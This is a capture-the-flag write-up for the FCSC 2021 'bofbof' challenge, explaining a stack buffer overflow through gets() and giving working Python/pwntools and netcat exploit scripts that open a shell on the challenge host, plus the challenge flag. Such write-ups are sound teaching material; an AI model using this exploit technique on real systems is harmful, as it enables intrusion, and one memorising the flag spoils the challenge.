FCSC 2021 - Intro - bofbof

Table of contents :

Your goal is to get a shell on the target machine and read the file flag.txt.

nc challenges2.france-cybersecurity-challenge.fr 4002

SHA256(bofbof) = bd78bff2d72fcc6ebc82f248ea14761d66fc476aca13eed22db541f2960f9fce.

Files :


Solving the challenge

First, let’s play with the challenge binary a bit to see if there is a way to cause a SIGSEGV (Segmentation fault) signal. When we put a long string of A as input (60 A here), the program crashes:

$ ./bofbof
Comment est votre blanquette ?
>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

We can assume that we have overwritten a return address saved in the stack, and that the program crashes at the time of the final return (ret instruction) of the main function.

We disassemble the binary with Ghidra and we get the decompiled code of the main function:

undefined8 main(void) {
  char local_38 [40];
  long local_10;

  local_10 = 0x4141414141414141;
  printf("Comment est votre blanquette ?\n>>> ");
  fflush(stdout);
  gets(local_38);
  if (local_10 != 0x4141414141414141) {
    if (local_10 == 0x1122334455667788) {
      vuln();
    }
    puts("Almost there!");
  }
  return 0;
}

To access the shell (via the vuln () function) we must rewrite the value of the local variable local_10 (declared in the stack). For this we carry out a stack buffer overflow when the gets(local_38); is called. This will allow to rewrite on the value of the local variable local_10 in the stack.

There is two ways to perform the exploitation, either with a payload in a file, which we will send via netcat, or directly with the pwntools library of python.

cat payload with pipes and netcat

For this technique, we first want to create the file containing the payload in raw bytes using a few lines of python:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import pwn

offset = 5*8
payload = b'A'*offset + pwn.p64(0x1122334455667788)
f = open('payload.raw','wb')
f.write(payload)
f.close()

Then we perform a cat of the payload.raw file as well as - (corresponding to the standard input stdin, which allows to interact with the service after sending the payload)

$ (cat ./payload.raw -) | nc challenges2.france-cybersecurity-challenge.fr 4002
Comment est votre blanquette ?
>>>
ls -lha
total 32K
drwxr-xr-x 1 root root 4.0K Apr 21 13:49 .
drwxr-xr-x 1 root root 4.0K Apr 23 12:43 ..
-r-x------ 1 ctf  ctf   17K Apr 21 13:48 bofbof
-r-------- 1 ctf  ctf    71 Apr 21 13:47 flag.txt
cat flag.txt
FCSC{ec30a448a777b571734d8d9e4036b3a6e87d1005446f80dffb26c3e4f5cd02ba}

With python’s pwntools library

With the pwn python library (installable with python3 -m pip install pwntools), we just have to create a socket, and send our raw bytes payload using sendline. Then we can get interactive access to the shell thanks to the .interactive() function:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import pwn

offset = 5*8
payload = b'A'*offset+pwn.p64(0x1122334455667788)

c = pwn.remote("challenges2.france-cybersecurity-challenge.fr",4002)
c.sendline(payload)
c.interactive()

We get an interactive shell just after sending the payload:

$ ./solve.py
[+] Opening connection to challenges2.france-cybersecurity-challenge.fr on port 4002: Done
[*] Switching to interactive mode
Comment est votre blanquette ?
>>> $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls -lha
total 32K
drwxr-xr-x 1 root root 4.0K Apr 21 13:49 .
drwxr-xr-x 1 root root 4.0K Apr 23 12:43 ..
-r-x------ 1 ctf  ctf   17K Apr 21 13:48 bofbof
-r-------- 1 ctf  ctf    71 Apr 21 13:47 flag.txt
$ cat fl
$ cat flag.txt
FCSC{ec30a448a777b571734d8d9e4036b3a6e87d1005446f80dffb26c3e4f5cd02ba}
$  

And we get the flag :

FCSC{ec30a448a777b571734d8d9e4036b3a6e87d1005446f80dffb26c3e4f5cd02ba}